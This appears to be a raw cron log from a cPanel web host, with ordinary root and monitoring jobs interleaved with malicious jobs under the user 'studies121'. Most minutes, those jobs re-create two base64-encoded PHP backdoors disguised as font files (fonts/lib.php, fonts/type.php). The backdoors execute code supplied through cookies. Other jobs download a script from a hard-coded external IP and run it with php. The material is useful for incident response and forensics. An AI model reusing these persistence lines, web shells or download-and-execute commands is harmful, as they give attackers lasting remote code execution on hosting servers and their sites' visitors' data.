Sep  8 09:26:01 ip-184-168-122-23 CROND[23034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:26:01 ip-184-168-122-23 CROND[23036]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 09:26:01 ip-184-168-122-23 CROND[23037]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:26:01 ip-184-168-122-23 CROND[23035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:26:01 ip-184-168-122-23 CROND[23038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:27:01 ip-184-168-122-23 CROND[23338]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:27:01 ip-184-168-122-23 CROND[23340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:27:01 ip-184-168-122-23 CROND[23342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:27:01 ip-184-168-122-23 CROND[23343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:28:01 ip-184-168-122-23 CROND[23510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:28:01 ip-184-168-122-23 CROND[23512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:28:01 ip-184-168-122-23 CROND[23513]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 09:28:01 ip-184-168-122-23 CROND[23511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:28:01 ip-184-168-122-23 CROND[23515]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:29:02 ip-184-168-122-23 CROND[23790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:29:02 ip-184-168-122-23 CROND[23791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:29:02 ip-184-168-122-23 CROND[23792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:29:02 ip-184-168-122-23 CROND[23793]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:30:01 ip-184-168-122-23 CROND[24062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:30:02 ip-184-168-122-23 CROND[24065]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 09:30:02 ip-184-168-122-23 CROND[24066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:30:02 ip-184-168-122-23 CROND[24067]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 09:30:02 ip-184-168-122-23 CROND[24069]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 09:30:02 ip-184-168-122-23 CROND[24064]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 09:30:02 ip-184-168-122-23 CROND[24070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:30:02 ip-184-168-122-23 CROND[24071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:31:01 ip-184-168-122-23 CROND[24208]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 09:31:01 ip-184-168-122-23 CROND[24209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:31:01 ip-184-168-122-23 CROND[24210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:31:01 ip-184-168-122-23 CROND[24213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:31:01 ip-184-168-122-23 CROND[24216]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:32:01 ip-184-168-122-23 CROND[24416]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:32:01 ip-184-168-122-23 CROND[24418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:32:01 ip-184-168-122-23 CROND[24419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:32:01 ip-184-168-122-23 CROND[24422]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 09:32:01 ip-184-168-122-23 CROND[24420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:33:01 ip-184-168-122-23 CROND[24547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:33:01 ip-184-168-122-23 CROND[24548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:33:01 ip-184-168-122-23 CROND[24550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:33:01 ip-184-168-122-23 CROND[24551]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:34:01 ip-184-168-122-23 CROND[24678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:34:01 ip-184-168-122-23 CROND[24680]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 09:34:01 ip-184-168-122-23 CROND[24684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:34:01 ip-184-168-122-23 CROND[24685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:34:01 ip-184-168-122-23 CROND[24683]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:35:01 ip-184-168-122-23 CROND[24886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:35:01 ip-184-168-122-23 CROND[24888]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 09:35:01 ip-184-168-122-23 CROND[24887]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 09:35:01 ip-184-168-122-23 CROND[24890]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 09:35:01 ip-184-168-122-23 CROND[24892]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:35:01 ip-184-168-122-23 CROND[24898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:35:01 ip-184-168-122-23 CROND[24899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:35:01 ip-184-168-122-23 CROND[24897]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 09:36:01 ip-184-168-122-23 CROND[25167]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 09:36:01 ip-184-168-122-23 CROND[25168]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:36:01 ip-184-168-122-23 CROND[25171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:36:01 ip-184-168-122-23 CROND[25173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:36:01 ip-184-168-122-23 CROND[25172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:37:01 ip-184-168-122-23 CROND[25453]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:37:01 ip-184-168-122-23 CROND[25455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:37:01 ip-184-168-122-23 CROND[25454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:37:01 ip-184-168-122-23 CROND[25456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
